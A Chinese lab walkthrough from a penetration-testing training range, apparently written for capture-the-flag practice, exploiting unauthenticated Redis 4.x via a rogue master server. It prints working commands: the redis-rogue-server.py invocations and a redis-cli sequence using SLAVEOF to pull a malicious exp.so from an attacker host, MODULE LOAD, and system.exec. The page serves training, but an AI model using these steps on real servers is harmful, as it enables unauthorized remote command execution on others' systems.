【靶机实战】Redis 4.x 远程命令执行

靶机信息

可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 渗透测试靶场 -> Redis 4.x – 远程命令执行

漏洞科普

Redis 4.x 远程命令执行(RCE)漏洞并不是传统意义上的代码漏洞,而是利用了 Redis 4.0 之后新增的插件模块(Module)功能,结合其原有的主从复制机制实现的一种“功能性利用”。攻击者通过将受害者的 Redis 服务器设置为自己的“从节点(Slave)”,利用同步机制将一个恶意的动态链接库(.so 文件)发送到受害者机器上。

执行过程通常被称为“Rogue Server(流氓服务器)攻击”:首先,攻击者在公网上架设一个伪装成 Redis 主节点的服务器;接着,通过未授权访问或弱口令登录目标 Redis,执行 SLAVEOF 命令让目标连接到攻击者的服务器。在同步过程中,攻击者的服务器会发送一个精心构造的恶意插件文件,目标 Redis 会将其保存在磁盘上。最后,攻击者利用 MODULE LOAD 指令加载该文件,从而在目标系统上获得执行任意系统命令的权限。

这种攻击方式在 2019 年左右非常流行,其杀伤力在于:它绕过了以往 Redis 只能写文件(如写 Webshell 或 SSH 公钥)的局限,直接通过内存加载模块实现无损、即时的系统权限获取

靶机实战

首先开启靶机获取靶机地址(注意:非WEB应用,应该使用专用客户端去连接Redis)

图片[1] - 【靶机实战】Redis 4.x  远程命令执行 - 极核GetShell

使用专用客户端去连接Redis,此处确保可以成功未授权连接到Redis。

图片[2] - 【靶机实战】Redis 4.x  远程命令执行 - 极核GetShell

使用redis-rogue-server脚本进行RCE攻击,此脚本基本使用共有两个方式:主动连接模式被动连接模式,在使用的时候有一些区别。

主动连接模式被动连接模式
出网情况需要攻击机器能够连接到目标,且必须能互相通讯(靶机出网或者同一网段)目标在内网,但是必须出网或者和攻击机在同一网段
适用情况Redis服务处于外网Redis服务处于内网

首先演示 redis-rogue-server脚本 的主动连接模式,在公网服务器上使用以下命令直接连接目标直接获取可交互的WebShell。(注意:lhost设置的IP必须要让你目标的redis可以连接到,一般来说设置公网IP即可。)

python3 redis-rogue-server.py  --rhost <目标host> --rport <目标redis端口> --lhost <运行脚本机器的公网IP> --lport=<任意,默认21000>
图片[3] - 【靶机实战】Redis 4.x  远程命令执行 - 极核GetShell

然后演示 被动连接模式 ,使用以下命令架设恶意的redis从服务,开启监听。

python3 redis-rogue-server.py --server-only
图片[4] - 【靶机实战】Redis 4.x  远程命令执行 - 极核GetShell

然后连接到Redis-cli,输入以下命令。

CONFIG SET dir /tmp/
CONFIG SET dbfilename exp.so


SLAVEOF <你的服务器IP> <服务器端口>
//这一步的服务器IP和端口是指上面架设恶意的redis从服务服务器

MODULE LOAD /tmp/exp.so

system.exec "id"
system.exec "whoami"
图片[5] - 【靶机实战】Redis 4.x  远程命令执行 - 极核GetShell

通过上面方式都可以执行命令,直接读取根目录flag文件即可获取flag。

THE END
想说的话 1  QQ & 微信交流群: 点击查看加群方式
2  本站运营不易,以真心❤️换真心💕,如果帮助到你,可以 推荐给朋友 或者 开通金贝会员 支持一下本站!
3  请不要进行任何非授权的网络攻击,如果造成任何损失均由使用者本人负责,与本站和原作者无关!
点赞50 分享
茶谈区 抢沙发

请登录后发表评论

    暂无评论内容